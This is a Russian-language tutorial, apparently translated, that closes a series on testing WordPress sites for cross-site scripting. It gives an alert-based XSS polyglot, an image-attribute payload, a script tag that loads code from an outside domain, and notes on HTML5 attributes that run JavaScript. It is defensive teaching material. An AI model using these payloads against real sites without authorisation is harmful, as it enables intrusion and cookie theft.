В этой серии статей мы рассмотрим, как защитить наши проекты WordPress от XSS — или межсайтового скриптинга. В первой статье этой серии мы определили, что на самом деле представляет собой межсайтовый скриптинг, понимая, как он работает и почему он опасен.
Мы также потратили некоторое время на обсуждение того, как это влияет на наши повседневные усилия по разработке WordPress и что мы можем с этим сделать. Хотя в WordPress есть некоторые функции, которые помогают проверять и очищать данные, мы можем проделать еще большую работу для обеспечения безопасности наших проектов.
В этой заключительной статье мы рассмотрим некоторые практические советы, которым мы можем следовать, и некоторые тесты, которые мы можем администрировать, чтобы обезопасить нашу работу от атак XSS.
Основы тестирования XSS
Вообще говоря, способ тестирования вашего сайта на наличие уязвимостей межсайтовых скриптов заключается в том, чтобы найти где-нибудь на сайте или в приложении, которое принимает пользовательский ввод.
Очевидно, это придет в форме полей ввода, текстовых полей или тому подобного.
Если сайт не выполняет надлежащую дезинфекцию и / или проверку, тогда вы, как правило, будете успешны в поиске эксплойтов; однако, если сайт правильно управляет входящими данными, вы, скорее всего, не увидите результатов своих усилий.
Давайте рассмотрим несколько случаев, которые мы можем администрировать на наших собственных сайтах (или даже в других, хотя делаем это на свой страх и риск!).
1. Поиск уязвимости межсайтового скриптинга
Первое, что мы можем сделать, чтобы найти уязвимость, это попытка внедрить некоторый код, который определит, существует ли уязвимость.
Рассматриваемый код выглядит следующим образом:
|
1
2
3
|
‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//»;
alert(String.fromCharCode(88,83,83))//»;alert(String.fromCharCode(88,83,83))//—
></SCRIPT>»>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
|
Поместите этот код в любое поле ввода и отправьте его.
Если уязвимость существует, то будет выведено слово «XSS». Если он не возвращается, то вы, вероятно, в безопасности (хотя это не может быть гарантировано на 100%); однако, если это вывод, то это, вероятно, означает, что существует уязвимость, которую вы или кто-то более злонамеренный можете использовать.
2. Попытка кросс-сайта
В прошлой статье мы обсуждали политику одного и того же происхождения, которая в основном диктует, что сайт не должен иметь возможность запрашивать активы ни у какого домена, кроме того, на котором он в настоящее время находится.
Чтобы попытаться выполнить код с удаленного сервера — или сервера, который не является частью того же источника — вы можете выполнить следующий код:
|
1
|
“><script src=http://idash.net/xs.js></script>
|
Обратите внимание, что префикс для теста не является опечаткой. Это необходимо для того, чтобы на самом деле проверить уязвимость. Если уязвимость действительно существует, то будет отображаться файл cookie браузера из удаленного домена; в противном случае вы либо ничего не увидите, либо ваша консоль может вернуть сообщение о политике того же происхождения.
Реквизит Янне для этой конкретной тактики.
3. Атрибуты изображения
Наконец, одна из наиболее известных уязвимостей — попытка выполнить код JavaScript внутри атрибута тега img .
Например, создание элемента, такого как:
|
1
|
<IMG SRC=javascript:alert(«XSS»)>
|
Выявит уязвимость, которая на самом деле отображает диалоговое окно с предупреждением «XSS» в качестве сообщения, а не фактического сломанного изображения.
Просто, не правда ли? Тем не менее, для раскрытия эксплойта требуется всего одна уязвимость.
Другие источники
Вики атак
Дело в том, что это всего лишь верхушка айсберга, поскольку она связана с тестированием XSS. Фактически, потребуется целая вики, чтобы помочь документировать различные уязвимости, которые существуют.
Фактически, это именно то, что проект Open Web Application Security стремился сделать: документировать различные существующие уязвимости XSS и как их тестировать. Вы можете просмотреть весь список , посмотреть определение атак, а также способы их администрирования.
Уязвимости HTML5
Но это не все! По мере появления новых технологий, таких как HTML5, мы должны принимать во внимание множество дополнительных вещей.
Хотя может показаться немного странным, что язык разметки может быть подвержен атакам межсайтового скриптинга, это имеет смысл, особенно с учетом некоторых атрибутов, которые допускают более новые элементы.
Дело в точке:
- Элементы формы поддерживают атрибут
formactionкоторый может выполнять JavaScript - Элементы ввода поддерживают атрибут
onfocusкоторый также может выполнять JavaScript - Новый элемент video поддерживает атрибут
posterкоторый также может выполнять JavaScript
Конечно, не все из них применимы к каждому браузеру, но их важно знать, чтобы вы могли правильно тестировать в соответствующих браузерах.
Тем не менее, вы можете найти исчерпывающий список известных уязвимостей HTML5 и соответствующие браузеры на сайте безопасности HTML5 .
Ha.ckers
Ha.ckers.org — один из самых популярных сайтов ресурсов XSS в Интернете, и у них есть особенно полезный калькулятор шпаргалок XSS .
Проще говоря, помимо словаря известных уязвимостей, их калькулятор автоматически закодирует ваш XSS в несколько различных типов кодирования, таких как шестнадцатеричное, десятичное, Base64 и т. Д., Так что вы также можете попытаться внедрить эти переводы в свое приложение.
В конце концов, половина безопасности обеспечивает правильную дезинфекцию, экранирование и проверку всех типов ввода, а не только базовый вариант.
Вывод
Очевидно, что поле межсайтового скриптинга богато уязвимостями, которые не ограничиваются одним браузером, не говоря уже об одной версии браузера. К счастью, в нашем распоряжении имеется множество ресурсов, шпаргалок, инструкций и других учебных материалов, чтобы не только информировать нас о том, что происходит, но и о том, как мы можем защищаться от этого.
И хотя эта статья специально предназначена для нас, разработчиков WordPress, тактика и методы выходят за рамки WordPress и применимы ко всем, кто разрабатывает веб-приложения.
Наконец, я хотел бы поблагодарить Janne Ahlberg за то, что вдохновили меня на содержание этой серии. Он специалист по безопасности, который выполняет большую часть работ по XSS, о которых он сообщает Envato, поэтому, если вы заинтересованы в этой теме, особенно в том, что касается продвижения вашей работы на одной из торговых площадок Envato, я настоятельно рекомендую следить за его блогом.